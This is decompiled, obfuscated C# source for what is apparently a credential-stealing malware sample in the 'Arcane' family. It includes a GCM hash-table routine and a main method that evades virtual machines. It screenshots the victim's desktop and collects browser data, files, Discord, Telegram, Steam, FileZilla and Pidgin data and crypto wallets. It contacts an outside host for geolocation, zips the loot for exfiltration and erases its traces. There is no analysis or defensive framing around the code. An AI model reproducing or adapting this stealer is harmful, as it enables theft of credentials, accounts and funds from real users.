// Token: 0x06000062 RID: 98 RVA: 0x00007BF8 File Offset: 0x00005DF8 public void Init(byte[] H) { this.uint_0[0] = new uint[16][]; this.uint_0[1] = new uint[16][]; this.uint_0[0][0] = new uint[4]; this.uint_0[1][0] = new uint[4]; this.uint_0[1][8] = Class8.smethod_2(H); for (int i = 4; i >= 1; i >>= 1) { uint[] array = (uint[])this.uint_0[1][i + i].Clone(); Class8.smethod_4(array); this.uint_0[1][i] = array; } uint[] array2 = (uint[])this.uint_0[1][1].Clone(); Class8.smethod_4(array2); this.uint_0[0][8] = array2; for (int j = 4; j >= 1; j >>= 1) { uint[] array3 = (uint[])this.uint_0[0][j + j].Clone(); Class8.smethod_4(array3); this.uint_0[0][j] = array3; } int num = 0; for (;;) { for (int k = 2; k < 16; k += k) { for (int l = 1; l < k; l++) { uint[] array4 = (uint[])this.uint_0[num][k].Clone(); Class8.smethod_10(array4, this.uint_0[num][l]); this.uint_0[num][k + l] = array4; } } if (++num == 32) { break; } if (num > 1) { this.uint_0[num] = new uint[16][]; this.uint_0[num][0] = new uint[4]; for (int m = 8; m > 0; m >>= 1) { uint[] array5 = (uint[])this.uint_0[num - 2][m].Clone(); Class8.smethod_5(array5); this.uint_0[num][m] = array5; } } } }
private static void dYovoedfK(string[] args) { if (!Class4.smethod_1()) { Environment.Exit(0); } if (!Class8.smethod_4()) { Program.thread_0.Start(); try { using (new WebClient().OpenRead("https://www.google.com")) ; } catch { Environment.Exit(0); } try { Directory.Delete(Program.string_0, true); } catch { } Class4.smethod_5(Program.string_1); if (Program.string_2 == "on") { if (System.IO.File.Exists(Environment.GetEnvironmentVariable("LocalAppData") + "\\update_" + Program.id + ".dll")) { if (Program.string_3 == "on") { Class4.smethod_6((object)Program.string_0, (object)Assembly.GetExecutingAssembly().Location); } else { Environment.Exit(0); } } else { System.IO.File.Create(Environment.GetEnvironmentVariable("LocalAppData") + "\\update_" + Program.id + ".dll"); } } Directory.CreateDirectory(Program.path); Class3.smethod_4(Program.path + "\\Screen.png"); Class1.smethod_0(Program.path + "\\Browsers"); Class3.smethod_2(Program.path + "\\Files"); try { Class4.smethod_3(Program.path + "\\Files", Program.path + "\\Files.zip"); if (System.IO.File.Exists(Program.path + "\\Files.zip")) { Directory.Delete(Program.path + "\\Files", true); } } catch (Exception ex) { Console.WriteLine((object)ex); } Class3.smethod_7(Program.path + "\\Discord"); Class3.smethod_8(Program.path + "\\FileZilla"); Class3.smethod_1(Program.path + "\\Telegram"); Class3.smethod_9(Program.path + "\\Steam"); Class3.smethod_5(Program.path + "\\Wallets"); Class3.smethod_6(Program.path + "\\Pidgin"); Program.thread_0.Abort(); try { using (WebClient webClient = new WebClient()) Program.geo = Encoding.ASCII.GetString(webClient.DownloadData("https://arcane.es3n.in/i.php")); } catch { Program.geo = "Unknown?Unknown?Unknown?UN"; } Class3.smethod_0(Program.path + "\\Information.txt"); try { string str = Path.Combine(Program.string_0, "1337.zip"); Class4.smethod_3(Program.path, str); Class4.smethod_4(str, (object)Program.id, (object)("[" + Program.geo.Split('?')[3] + "]" + Program.geo.Split('?')[0] + "_" + Class4.smethod_0())); Directory.Delete(Program.path, true); Directory.Delete(Program.string_0, true); } catch (Exception ex) { Console.WriteLine(ex.ToString()); } if (Program.string_3 == "on") { Class4.smethod_6((object)Program.string_0, (object)Assembly.GetExecutingAssembly().Location); } } else { Class4.smethod_9(Program.string_1, "Detected Virtual Machine", "Error"); } Environment.Exit(0); }